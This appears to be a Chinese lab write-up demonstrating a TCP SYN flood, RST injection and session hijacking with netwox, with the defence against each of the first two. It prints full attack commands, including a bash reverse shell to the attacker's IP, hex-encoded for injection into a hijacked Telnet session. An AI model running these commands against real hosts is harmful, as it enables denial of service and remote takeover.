HCIE(3)——TCP DOS攻击模拟

一、TCP半开攻击

1)攻击原理
攻击方只需要发送大量的syn分节给服务器,然后对服务器返回的syn+ack什么也不做,直接忽略掉。
不发送ack给服务器,这样就可以一直占着服务器半连接对列的资源,导致正常的客户端无法连接上服务器。
syn flood的攻击方式主要有两种:
第一种是,攻击方的客户端一直发送syn,对于服务端回复的syn+ack什么也不做,直接忽略掉。
第二种是,攻击方的客户端发送syn时,将源IP改为一个虚假的IP,然后服务器会将syn+ack发送到虚假IP上去,这样客户端也不需要回复ack。
2)半开攻击实验模拟
①环境准备:

服务端:172.24.8.134
客户端:172.24.8.253
攻击者:172.24.8.129

②在服务端首先将**/proc/sys/net/ipv4/net.ipv4.tcp_syncookies**的值设为0,关闭防御机制,增强实验效果。
③使用netwox的76号工具进行攻击
攻击前使用客户端连接服务端(在服务端搭建了一个http服务器用来测试)
在这里插入图片描述
发现可以成功访问

使用netwox 76 号工具进行攻击

sudo netwox 76 -i 172.24.8.134 -p 80

再次进行测试:
在这里插入图片描述
发现已经不能成功建立连接了
3)防御措施
建立cookies机制。
cookies机制就是只为已经成功建立了TCP连接的主机,继续分配连接资源。像那种发出大量syn的连接,但不回复ack的连接,不予受理。后面的连接是建立在前面的连接三次握手已经完成的基础上的。
做法:将/etc/sysctl.conf中的net.ipv4_syscookies值设为1(默认情况下就是1)。
cookies的建立是利用了hash算法提取TCP头部的一写字段来做标记,相当于建立了一个名单。

二、TCP RST重置攻击

1)攻击原理
RST:就算是reset的意思,重置就是指受害者收到的TCP包中携带RST字段,不论当前处于什么状态,都会将当前的连接释放掉。
举例来说,就是A和服务器B建立的TCP连接,如果此时的攻击者C伪造了一个TCP RST的包发给B,就会使B异常的断开与A的连接,这就是RST攻击。
伪造带RST位的TCP包会有什么后果:
①假定攻击者C伪装A发过去的包,这个包里面的RST置位,缓冲器上所有数据,B都会丢弃,并强制关闭所有连接。
②如果C伪装成A发过去的包是syn包,那么B会表示A已经是正常的连接了却又来建立新的连接,默认是不安全,B会主动向A 发送一个RST包,并在自己这端强制关闭连接。
2)开始攻击
①环境准备:

服务端:172.24.8.134
客户端:172.24.8.253
攻击者:172.24.8.129

②使用netwox的78号工具进行攻击
攻击前使用客户端远程连接Telnet服务端
在这里插入图片描述
开始攻击:

sudo netwox 78 -i "172.24.8.134" -f "port 80"

在这里插入图片描述
可以看到,再次查看的时候,发现已经断开了连接了。
3)防御手段
简单粗暴的一个可行方法:通过防火墙进行简单设置,建议使用防火墙将进来的带RST位的包丢弃。

三、TCP劫持及反弹shell攻击

1)TCP劫持攻击原理
在这里插入图片描述
1、hacker获取client与server的TCP会话包(通常通过ARP毒化、MAC地址洪泛等方法)
2、观察server发送给client的TCP报文,以获取client将要发送给server的下一个报文信息。
需要将里面显示的序列号显示为真正的序列号。
在这里插入图片描述
3、hacker利用工具伪造一个TCP报文,发送给server,其内容信息通过步骤2获得的报文信息来确定。
大致需要的报文信息有:
二层的src-MAC是hacker的地址
三层的src-IP是client的IP,des-IP是server的IP)四层的参数则是通过步骤2获取。
2)反弹shell原理
可以使用kali和客户端来实现:
kali上先利用需要监听的端口,这里我们监听9999端口

sudo nc -l -p 9999 -v

将反弹shell转换为16进制

bash -i>&/dev/tcp/172.24.8.129/9999 0>&1
//这是一个简单的shell脚本

我们使用HEX编码器将这个shell脚本转换为16进制编码(切记:在编码结束后面要加上回车键的16进制0d00,表示执行的意思)

62617368202D693E262F6465762F7463702F3137322E32342E382E3132392F3939393920303E26310d00

观看效果:使用ls可以进行一下测试
在这里插入图片描述
2)实验模拟
①实验环境准备

服务端:172.24.8.128
客户端:172.24.8.253
攻击者:172.24.8.129

提前打开wireshark抓包工具。
②先使用客户端远程Telnet服务端,并且攻击者kali开启反弹shell功能。
在这里插入图片描述
在这里插入图片描述
③攻击者使用wireshark抓包工具并分析报文
在这里插入图片描述
④使用netwox的40号工具进行TCP的劫持(里面内容是根据步骤③报文分析而得)

sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 172.24.8.253 --ip4-dst 172.24.8.128 --tcp-src 1077  --tcp-dst 23 --tcp-seqnum 263448091 --tcp-acknum 780472132 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3137322E32342E382E3132392F3939393920303E26310d00

在这里插入图片描述
测试结果:
在这里插入图片描述
可以看到攻击者已经成功远程到了服务器上。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值